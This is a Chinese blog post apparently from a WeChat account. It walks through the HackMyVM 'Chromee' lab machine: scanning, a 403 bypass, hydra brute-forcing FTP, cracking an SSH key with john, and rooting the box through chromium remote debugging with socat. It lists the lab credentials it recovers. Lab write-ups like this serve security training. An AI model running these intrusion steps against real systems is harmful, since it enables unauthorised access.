欢迎师傅关注该公众号夜风Sec
,致力于分享各种工具和学习记录,与师傅共同进步
镜像文件
网盘链接:https://pan.quark.cn/s/61b6e592a864
官方链接:https://hackmyvm.eu/machines/machine.php?vm=Chromee
信息收集
arp & nmap
sudo arp-scan -I eth1 -l
192.168.56.105 08:00:27:a5:6f:25 PCS Systemtechnik GmbH
nmap --min-rate 10000 -A -p- 192.168.56.105
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
| ssh-hostkey:
| 3072 f0:e6:24:fb:9e:b0:7a:1a:bd:f7:b1:85:23:7f:b1:6f (RSA)
| 256 99:c8:74:31:45:10:58:b0:ce:cc:63:b4:7a:82:57:3d (ECDSA)
|_ 256 60:da:3e:31:38:fa:b5:49:ab:48:c3:43:2c:9f:d1:32 (ED25519)
80/tcp open http nginx 1.18.0
|_http-server-header: nginx/1.18.0
|_http-title: primary
8080/tcp open http Apache httpd 2.4.56 ((Debian))
|_http-open-proxy: Proxy might be redirecting requests
|_http-title: Site doesn't have a title (text/html).
|_http-server-header: Apache/2.4.56 (Debian)
23333/tcp open ftp vsftpd 3.0.3
ftp -> 无法匿名
ftp服务 -> 测试匿名登录 => 失败
ftp 192.168.56.105 -P 23333 # 命令
Connected to 192.168.56.105.
220 (vsFTPd 3.0.3)
Name (192.168.56.105:yefeng): anonymous # 匿名
331 Please specify the password.
Password: # 任意
530 Login incorrect.
ftp: Login failed
ftp>
gobuster
gobuster dir -u http://192.168.56.105/ -w /home/yefeng/SecLists/Discovery/Web-Content/directory-list-2.3-big.txt -x php,html -t 50
/index.html (Status: 200) [Size: 4464]
/post.php (Status: 200) [Size: 3]
/secret.php (Status: 200) [Size: 549]
访问secret.php -> 没内容 -> 看源码 -> 有php内容 -> 但是没有解析
访问post.php -> 就只有一对括号
gobuster dir -u http://192.168.56.105:8080/ -w /home/yefeng/SecLists/Discovery/Web-Content/directory-list-2.3-big.txt -x php,html -t 50
/index.html (Status: 200) [Size: 33]
/.html (Status: 403) [Size: 281]
/javascript (Status: 301) [Size: 328] [--> http://192.168.56.105:8080/javascript/]
/silence (Status: 403) [Size: 281]
403状态码,但是首页给了提示让进行bypass
403Bypass
403Bypass工具
命令行:https://github.com/iamj0ker/bypass-403
Bp插件:https://github.com/p0desta/AutoBypass403-BurpSuite
通过工具 -> 有一个200状态码 -> 需要POST请求访问
通过curl的POST请求,显示301状态码进行了转移 -> 通过Bp进行请求 -> 返回了内容
给了一个邮件地址的形式,后面明显是一个域名 -> 所以就本地hosts加上这条解析
用域名进行访问 /secret.php -> 发现对php内容进行了解析
hydra
我们现在的目的是获取一份凭证从而进行ftp服务的探测
这里有是给出了用户名( adriana、lily ),还有这份文件的内容 -> 生成密码字典
user字典:adriana、lily
pass字典:cupp -w dic.txt命令 -> 根据dic.txt内容模式生成一份字典 -> 选项默认即可
# 工具安装
sudo apt install cupp
hydra -L user -P dic.txt.cupp.txt ftp://192.168.56.105 -s 23333 -I
[23333][ftp] host: 192.168.56.105 login: adriana password: Lily2020
ftp
连进去,发现当前目录下有dic.txt 说明是位于web服务下的,查看全部文件时,有...
ftp> ls -al
229 Entering Extended Passive Mode (|||28132|)
150 Here comes the directory listing.
drwxr-xr-x 2 106 115 4096 Mar 09 09:13 .
drwxr-xr-x 4 0 0 4096 Mar 09 09:12 ..
-rw-r--r-- 1 0 0 3414 Mar 09 09:13 ...
-rw-r--r-- 1 0 0 495 Mar 07 15:40 dic.txt
get 到 本地: get ...
查看发现是私钥
且在ftp中还可以查看到/home下有什么用户
ftp> cd /home
250 Directory successfully changed.
ftp> ls
229 Entering Extended Passive Mode (|||26118|)
150 Here comes the directory listing.
drwxr-x--- 4 1000 1000 4096 Mar 09 08:59 follower
drwxr-x--- 3 1001 1001 4096 Mar 07 13:39 softly
226 Directory send OK.
通过ssh利用私钥对这两个用户进行连接
发现该私钥存在加密
john
john本身不支持ssh私钥的格式 -> ssh2john
john的源码中自带有转换工具
python3 /usr/share/john/ssh2john.py <私钥文件名> > ssh_key_hash
john ssh_key_hash
john ssh_key_hash --show
ssh:cassandra
提权
ssh来到foller的家目录下 -> note.txt 和 cat.gif -> gif的隐写
这里是gif的时间隐写 exiftool cat.gif有所提示
gif时间轴隐写:https://www.cnblogs.com/chtxrt/p/17280677.html
identify -format "%T " cat.gif
65 98 65 100 102 98 67 6 6 6 6 6 6
得到这个数据之后,有一个提示的 note.txt
follower@Chromee:~$ cat note.txt
Think about rotations and the cat’s secrets.
47 is not just a number, it's a twist of fate.
p3p573r 得到这样一个结果
但是这并不是另外一个用户softly的密码
寻找其他信息 在/srv目录下有一个conf文件,查看 -> 说是 执行 wfuzz 允许follower起一个softly用户的终端
切换到wfuzz目录 -> 发现有一个doas具有SUID权限
还是刚才的/srv下的配置文件 -> 提到了 -> 允许softly无密码的执行root终端 -> 对应的 chromium 命令
上传一下pspy64跑一下,发现有一个定时任务 -> script.sh
2025/04/23 01:25:01 CMD: UID=0 PID=8816 | /bin/sh -c /root/script.sh
2025/04/23 01:25:01 CMD: UID=0 PID=8817 | /bin/bash /root/script.sh
再用linpeas.sh跑一下,发现有一个debug文件 -> 发现是一个pdf文件(file debug.kdbx)
/media/debug.kdbx
传到本地看一下
谷歌自带这个工具,远程调试默认9222端口
而正好我们要利用chromium命令来进行提权,通过这个命令来进行远程调试
doas /usr/bin/chromium --headless --remote-debugging-port=9222 --no-sandbox http://127.0.0.1
./socat TCP-LISTEN:9999,fork TCP4:127.0.0.1:9222
ss -tlnup 检查
chrome://inspect
配置一下
然后点inspect进行审查,在网络标签里面可以收到post.php -> 就是上面找到的定时执行的脚本
这就是root的密码了
UGhhbnRvbSBFbmdhZ2UK
大佬讲解思路视频:https://www.bilibili.com/video/BV1SPXnYLENc/?vd_source=d487a3a336d2c4291d3818fa3372311b
总结
有ftp服务 -> 无法匿名 => 需要凭证
web服务目录扫描 -> 200状态码不解析php文件
-> 403状态码 -> 403Bypass => Bp插件或者命令行工具
=> 域名解析 -> 通过域名访问 -> 解析php文件 -> 其中有已知用户 -> 缺少密码
通过工具cupp生成密码字典 -> Hydra爆破ftp凭证
ftp渗透 -> 私钥泄露 -> ssh2john -> 爆破私钥的密码 => ssh
提权 -> gif隐写
-> /srv服务目录
-> 谷歌命令行的参数
-> socat命令使用
原文始发于微信公众号(夜风Sec):HackMyVM - chromee靶机
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论